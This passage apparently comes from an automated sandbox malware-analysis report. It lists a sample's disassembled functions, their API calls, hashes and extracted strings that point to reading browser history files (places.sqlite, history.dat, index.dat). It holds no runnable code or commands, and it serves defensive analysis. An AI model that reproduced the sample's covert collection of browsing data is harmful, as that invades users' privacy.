                                                                                              • Part of subcall function 0040A8D0: wcslen.MSVCRT ref: 0040A8E2
                                                                                              • Part of subcall function 0040A8D0: free.MSVCRT ref: 0040A908
                                                                                              • Part of subcall function 0040A8D0: free.MSVCRT ref: 0040A92B
                                                                                              • Part of subcall function 0040A8D0: memcpy.MSVCRT(?,?,000000FF,00000001,?,00000000,?,?,0040AD76,?,000000FF), ref: 0040A94F
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memsetwcscatwcslen$free$AttributesFilememcpywcscpy
                                                                                            • String ID: history.dat$places.sqlite
                                                                                            • API String ID: 2641622041-467022611
                                                                                            • Opcode ID: 4ee3c1f855ed567974f8c38ae52f347571c4e2ef0f255528624b3fdde4aab0c5
                                                                                            • Instruction ID: 4d52d99a2018a06e8b3479be55870673e402391ac5db5fe9af26a684ed702786
                                                                                            • Opcode Fuzzy Hash: 4ee3c1f855ed567974f8c38ae52f347571c4e2ef0f255528624b3fdde4aab0c5
                                                                                            • Instruction Fuzzy Hash: CA112EB2A0111866DB10FA66CD4AACE77BCAF54354F1001B7B915B20C2EB3CAF45CA69
                                                                                            Function 004175ED Relevance: 4.5, APIs: 3, Instructions: 49fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00417570: SetFilePointer.KERNELBASE(?,?,?,00000000), ref: 00417591
                                                                                              • Part of subcall function 00417570: GetLastError.KERNEL32 ref: 004175A2
                                                                                              • Part of subcall function 00417570: GetLastError.KERNEL32 ref: 004175A8
                                                                                            • ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 0041761D
                                                                                            • GetLastError.KERNEL32 ref: 00417627
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: ErrorLast$File$PointerRead
                                                                                            • String ID:
                                                                                            • API String ID: 839530781-0
                                                                                            • Opcode ID: 43cd8d8e6b63bda72f55cb56ee55d1ec8e5478229177a04f989a23650c495d71
                                                                                            • Instruction ID: c9208e3d43fc8ff2949f7201360c8f82def2114e122364bdeb0a9035ecfb973e
                                                                                            • Opcode Fuzzy Hash: 43cd8d8e6b63bda72f55cb56ee55d1ec8e5478229177a04f989a23650c495d71
                                                                                            • Instruction Fuzzy Hash: D001A236208204BBEB008F69DC45BDA3B78FB153B4F100427F908C6640E275D89096EA
                                                                                            Function 0040C1D3 Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 45COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: FileFindFirst
                                                                                            • String ID: *.*$index.dat
                                                                                            • API String ID: 1974802433-2863569691
                                                                                            • Opcode ID: 357f5a483d779ef34e4c4d87daa9b3f5529f5b59003a03b6604f1343cb38d30a
                                                                                            • Instruction ID: 5c3219b8572ff4376619b1de75d6d1d1b7443a793578eadcc31bed7d77429009
                                                                                            • Opcode Fuzzy Hash: 357f5a483d779ef34e4c4d87daa9b3f5529f5b59003a03b6604f1343cb38d30a
                                                                                            • Instruction Fuzzy Hash: 0E01257180125895EB20E761DC467DF766C9F04314F5002FB9818F21D6E7389F958F9A
                                                                                            Function 00417570 Relevance: 4.5, APIs: 3, Instructions: 30COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SetFilePointer.KERNELBASE(?,?,?,00000000), ref: 00417591
                                                                                            • GetLastError.KERNEL32 ref: 004175A2
                                                                                            • GetLastError.KERNEL32 ref: 004175A8
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: ErrorLast$FilePointer
                                                                                            • String ID:
                                                                                            • API String ID: 1156039329-0
                                                                                            • Opcode ID: cc1ef3dda130daf7e478d1b1942235eaeedb2679cbd5ead2c00b98c40fc327c6
                                                                                            • Instruction ID: d6bca62a971eeae6b8c8b5ba9af71e52dcee60bc35e592f51b1cb5e4efccb3e3
                                                                                            • Opcode Fuzzy Hash: cc1ef3dda130daf7e478d1b1942235eaeedb2679cbd5ead2c00b98c40fc327c6
                                                                                            • Instruction Fuzzy Hash: 03F03071918115FBCB009B75DC009AA7ABAFB05360B104726E822D7690E730E9409AA8
                                                                                            Function 0040A02C Relevance: 4.5, APIs: 3, Instructions: 26filetimeCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,02000000,00000000,00000000,00000000,004039CA,00000000,?,00000000,?,00000000), ref: 0040A044
                                                                                            • GetFileTime.KERNEL32(00000000,00000000,00000000,?), ref: 0040A058
                                                                                            • CloseHandle.KERNELBASE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,004455D5), ref: 0040A061
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: File$CloseCreateHandleTime
                                                                                            • String ID:
                                                                                            • API String ID: 3397143404-0
                                                                                            • Opcode ID: 6d8e9772f553e0f6d6fb1ff05c82d92c5ca35a40b5ea430072252ef77abff331
                                                                                            • Instruction ID: 1a7e7c0172e67e076cb3c0c47f72e507911c66c01d2121fa3096849e88919459
                                                                                            • Opcode Fuzzy Hash: 6d8e9772f553e0f6d6fb1ff05c82d92c5ca35a40b5ea430072252ef77abff331
                                                                                            • Instruction Fuzzy Hash: 23E04F3624036077E2311B2BAC0CF4B2E69FBCBB21F150639F565B21E086704915C665
                                                                                            Function 00409A45 Relevance: 4.5, APIs: 3, Instructions: 26COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetTempPathW.KERNEL32(00000104,?,00445FAE), ref: 00409A5C
                                                                                            • GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00409A6E
                                                                                            • GetTempFileNameW.KERNELBASE(?,0040B827,00000000,?), ref: 00409A85
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: Temp$DirectoryFileNamePathWindows
                                                                                            • String ID:
                                                                                            • API String ID: 1125800050-0
                                                                                            • Opcode ID: 18925d4506bf85468b003a70c2eb1ed6509d95f01bdd5ff44bce1f80956a42fa
                                                                                            • Instruction ID: b144c37017a21c6b5a3d1d2b3cfc872714830df517851edcd0bc871ed666fd71
                                                                                            • Opcode Fuzzy Hash: 18925d4506bf85468b003a70c2eb1ed6509d95f01bdd5ff44bce1f80956a42fa
                                                                                            • Instruction Fuzzy Hash: ACE0927A500218A7DB109B61DC4DFC777BCFB45304F0001B1B945E2161EB349A848BA8
                                                                                            Function 004175B7 Relevance: 4.5, APIs: 2, Strings: 1, Instructions: 24sleepCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • Sleep.KERNEL32(00000064), ref: 004175D0
                                                                                            • CloseHandle.KERNELBASE(?,00000000,00000000,0045DBC0,00417C24,00000008,00000000,00000000,?,00417DE1,?,00000000), ref: 004175D9
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: CloseHandleSleep
                                                                                            • String ID: }A
                                                                                            • API String ID: 252777609-2138825249
                                                                                            • Opcode ID: d8d89497e8f27404fcbaadc135fdc6127e9b1f5305c348180eeea445c8f3bba2
                                                                                            • Instruction ID: 75b622f9be81829505acbf4f2e76dfbd2ea822dc2a3448742147a61f3b6dc806
                                                                                            • Opcode Fuzzy Hash: d8d89497e8f27404fcbaadc135fdc6127e9b1f5305c348180eeea445c8f3bba2
                                                                                            • Instruction Fuzzy Hash: B7E0CD3B1045156ED500577DDCC099773E9EF892347144226F171C25D0C6759C828524
                                                                                            Function 004099F4 Relevance: 3.8, APIs: 3, Instructions: 38COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • malloc.MSVCRT ref: 00409A10
                                                                                            • memcpy.MSVCRT(00000000,00000000,00000000,00000000,?,0040A9F2,00000002,?,00000000,?,0040AD25,00000000,?,00000000), ref: 00409A28
                                                                                            • free.MSVCRT ref: 00409A31
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: freemallocmemcpy
                                                                                            • String ID:
                                                                                            • API String ID: 3056473165-0
                                                                                            • Opcode ID: a8c2b4a2abbe370f156afd1ac3a64450955b5e367f985048e5f3f029e510ba1a
                                                                                            • Instruction ID: 1240433d41d023da9ba75aa62d017d874606d7cfbee4c78203c9aa8101697722
                                                                                            • Opcode Fuzzy Hash: a8c2b4a2abbe370f156afd1ac3a64450955b5e367f985048e5f3f029e510ba1a
                                                                                            • Instruction Fuzzy Hash: 88F0E9727092219FC708AE75A98180BB79DAF55314B12482FF404E3282D7389C50CB58
                                                                                            Function 00437371 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 243COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: d
                                                                                            • API String ID: 0-2564639436
                                                                                            • Opcode ID: 9081757c99ca3a842b21ef208fcf0aba28da60ac56b45099a1a2f4719e1e1e22
                                                                                            • Instruction ID: 98c7df9677761670a5e344a1c7628a8b006f0a2246df1cf6f5c5c4488f8f87fd
                                                                                            • Opcode Fuzzy Hash: 9081757c99ca3a842b21ef208fcf0aba28da60ac56b45099a1a2f4719e1e1e22
                                                                                            • Instruction Fuzzy Hash: 4591ABB0508302AFDB20DF19D88196FBBE4BF88358F50192FF88497251D778D985CB9A
                                                                                            Function 0041EED2 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 174COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memset
                                                                                            • String ID: BINARY
                                                                                            • API String ID: 2221118986-907554435
                                                                                            • Opcode ID: befda4f382f52914571534526ddb8b998123412eb8d39833d396fd974aa134d0
                                                                                            • Instruction ID: 089a0534c11c2c8a1092ab46fa13594887108ded84822111f9e073e703b485f9
                                                                                            • Opcode Fuzzy Hash: befda4f382f52914571534526ddb8b998123412eb8d39833d396fd974aa134d0
                                                                                            • Instruction Fuzzy Hash: 41518B71A047059FDB21CF69C881BEA7BE4EF48350F14446AF849CB342E738D995CBA9
                                                                                            Function 0041268E Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 72COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: _wcsicmp
                                                                                            • String ID: /stext
                                                                                            • API String ID: 2081463915-3817206916
                                                                                            • Opcode ID: 43183885e7d34794edc347ee746a2fdce482efa4a93d67cd5162a7f7a47e1933
                                                                                            • Instruction ID: 10e6e7fbaeb1b3fbdbf907bfc38f809d5841ace5bac79d7196eddb000c1bc607
                                                                                            • Opcode Fuzzy Hash: 43183885e7d34794edc347ee746a2fdce482efa4a93d67cd5162a7f7a47e1933
                                                                                            • Instruction Fuzzy Hash: 19218E30B00605AFD704EF6ACAC1AD9F7A9FF44304F10416AA419D7342DB79ADA18B95
                                                                                            Function 00406B90 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 56COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: _wcsicmp
                                                                                            • String ID: .ou
                                                                                            • API String ID: 2081463915-3683031111
                                                                                            • Opcode ID: cbddd43e50b6ded4d98ad0d82dd6b3ceb41ab08d79f44c56bc7594620457dfc9
                                                                                            • Instruction ID: 44e68c08f8902dbc9d3bec9e3d7b81d72528a2b8c41660eeece459a1934edfa0
                                                                                            • Opcode Fuzzy Hash: cbddd43e50b6ded4d98ad0d82dd6b3ceb41ab08d79f44c56bc7594620457dfc9
                                                                                            • Instruction Fuzzy Hash: 0C118CB1600205AFD710DF65C8809AAB7F8FF44314F11843EE55AE7240EB34F9658B68
                                                                                            Function 0040CC26 Relevance: 3.1, APIs: 2, Instructions: 53COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 004096C3: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000,0044509F,00000000,?,00000000,00000104,00445E7E,?,?), ref: 004096D5
                                                                                            • GetFileSize.KERNEL32(00000000,00000000,000003FF,?,00000000,0040B7D4,?,?,?,?,000003FF,?,?,?,00445FAE,?), ref: 0040CC44
                                                                                              • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,0040B608), ref: 0040AFD8
                                                                                              • Part of subcall function 0040A2EF: ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000,?,?,004450DD,00000000,00000000), ref: 0040A306
                                                                                              • Part of subcall function 0040AB4A: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,00000001,?,00401D51,00000000,00000001,00000000), ref: 0040AB63
                                                                                              • Part of subcall function 0040AB4A: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,00000001,?,00401D51,00000000,00000001,00000000), ref: 0040AB88
                                                                                            • CloseHandle.KERNELBASE(?,?,000000FF,0000FDE9), ref: 0040CC98
                                                                                              • Part of subcall function 0040B04B: ??3@YAXPAX@Z.MSVCRT(00000000,0040AFD7,00000000,0040B608), ref: 0040B052
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: File$ByteCharMultiWide$??2@??3@CloseCreateHandleReadSize
                                                                                            • String ID:
                                                                                            • API String ID: 2445788494-0
                                                                                            • Opcode ID: bdc6ff89a6972445fbf15f1c87a3cbc7fe705fee6098557394266cd6fc52cd88
                                                                                            • Instruction ID: dc8783d9a6c7baf78a377756874cfbd60b78407a6d3acdf6d1052ad5173bbb79
                                                                                            • Opcode Fuzzy Hash: bdc6ff89a6972445fbf15f1c87a3cbc7fe705fee6098557394266cd6fc52cd88
                                                                                            • Instruction Fuzzy Hash: 91118275804208AFDB10AF6ADC45C8A7F75FF01364711C27AF525A72A1D6349A18CBA5
                                                                                            Function 004152C7 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 26COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            • failed to allocate %u bytes of memory, xrefs: 004152F0
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: malloc
                                                                                            • String ID: failed to allocate %u bytes of memory
                                                                                            • API String ID: 2803490479-1168259600
                                                                                            • Opcode ID: 331d9f3b8e40439b36498a1be208f9c7b855b07c1663acfa81ecf9407a5950a4
                                                                                            • Instruction ID: 0aa28a7b77b2060330bf56ee6aba3953d7f003d38adef6953018dc3bb0cf108c
                                                                                            • Opcode Fuzzy Hash: 331d9f3b8e40439b36498a1be208f9c7b855b07c1663acfa81ecf9407a5950a4
                                                                                            • Instruction Fuzzy Hash: 0FE026B7F01A12A3C200561AFD01AC677919FC132572B013BF92CD36C1E638D896C7A9
                                                                                            Function 0041BC3B Relevance: 2.7, APIs: 2, Instructions: 195COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • memset.MSVCRT ref: 0041BDDF
                                                                                            • memcmp.MSVCRT(00001388,?,00000010,?,00000065,00000065,?,?,?,?,?,0041F1B4,?,00000065,004381DF,00000065), ref: 0041BDF1
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memcmpmemset
                                                                                            • String ID:
                                                                                            • API String ID: 1065087418-0
                                                                                            • Opcode ID: fec4f8c686635726a589492d039bcbb9c6040c3e4ffa7e28f30a1ad23493d54b
                                                                                            • Instruction ID: cf105cae5e27f97c9cd1c3f46a8d5e16e2707a712041142e317bfb3d1f631299
                                                                                            • Opcode Fuzzy Hash: fec4f8c686635726a589492d039bcbb9c6040c3e4ffa7e28f30a1ad23493d54b
                                                                                            • Instruction Fuzzy Hash: 2A615B71A01349EBDB14EFA495815EEB7B4EB04308F1440AFE609D3241E738AED4DB99
                                                                                            Function 004104FB Relevance: 2.6, APIs: 2, Instructions: 140COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0040ECD8: ??2@YAPAXI@Z.MSVCRT(00000000,?,00000000,?,00410C56,?), ref: 0040ECF9
                                                                                              • Part of subcall function 0040ECD8: ??3@YAXPAX@Z.MSVCRT(00000000,?,00000000,?,00410C56,?), ref: 0040EDC0
                                                                                            • GetStdHandle.KERNEL32(000000F5,?,00412758,00000000,00000000,?,00000000,00000000,00000000), ref: 00410530
                                                                                            • CloseHandle.KERNELBASE(00000000,?,00412758,00000000,00000000,?,00000000,00000000,00000000), ref: 00410654
                                                                                              • Part of subcall function 004096DC: CreateFileW.KERNELBASE(00000000,40000000,00000001,00000000,00000002,00000000,00000000,0041052B,00000000,?,00412758,00000000,00000000,?,00000000,00000000), ref: 004096EE
                                                                                              • Part of subcall function 0040973C: GetLastError.KERNEL32(00000000,?,00410669,00000000,?,00412758,00000000,00000000,?,00000000,00000000,00000000), ref: 00409750
                                                                                              • Part of subcall function 0040973C: _snwprintf.MSVCRT ref: 0040977D
                                                                                              • Part of subcall function 0040973C: MessageBoxW.USER32(00000000,?,Error,00000030), ref: 00409796
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: Handle$??2@??3@CloseCreateErrorFileLastMessage_snwprintf
                                                                                            • String ID:
                                                                                            • API String ID: 1381354015-0
                                                                                            • Opcode ID: 77225ea8c14d98a1088d43b9fd7330a512e035650861724d713e236cc530cbe1
                                                                                            • Instruction ID: c777e68e994987bb064ab7fb99de871126f79ef1b866bcb434911d427814d160
                                                                                            • Opcode Fuzzy Hash: 77225ea8c14d98a1088d43b9fd7330a512e035650861724d713e236cc530cbe1
                                                                                            • Instruction Fuzzy Hash: BE417231A00204EFCB25AF65C885A9E77B6EF84711F20446FF446A7291C7B99EC0DE59
                                                                                            Function 004300E8 Relevance: 2.6, APIs: 2, Instructions: 103COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • memset.MSVCRT ref: 004301AD
                                                                                            • memcpy.MSVCRT(000001A8,?,00000020,?,00000000,00000000,00443DCE,00000000,00000000,00000000,?,00445FAE,?), ref: 004301CD
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memcpymemset
                                                                                            • String ID:
                                                                                            • API String ID: 1297977491-0
                                                                                            • Opcode ID: 5779d3908ed9fcb9905e682258c98d3473ff673b5cf038f88537d7202db00c15
                                                                                            • Instruction ID: 4c6ebae2fd17f46eb6a701b53e5b2159fa076c350f721ddb3a961165d25aeca7
                                                                                            • Opcode Fuzzy Hash: 5779d3908ed9fcb9905e682258c98d3473ff673b5cf038f88537d7202db00c15
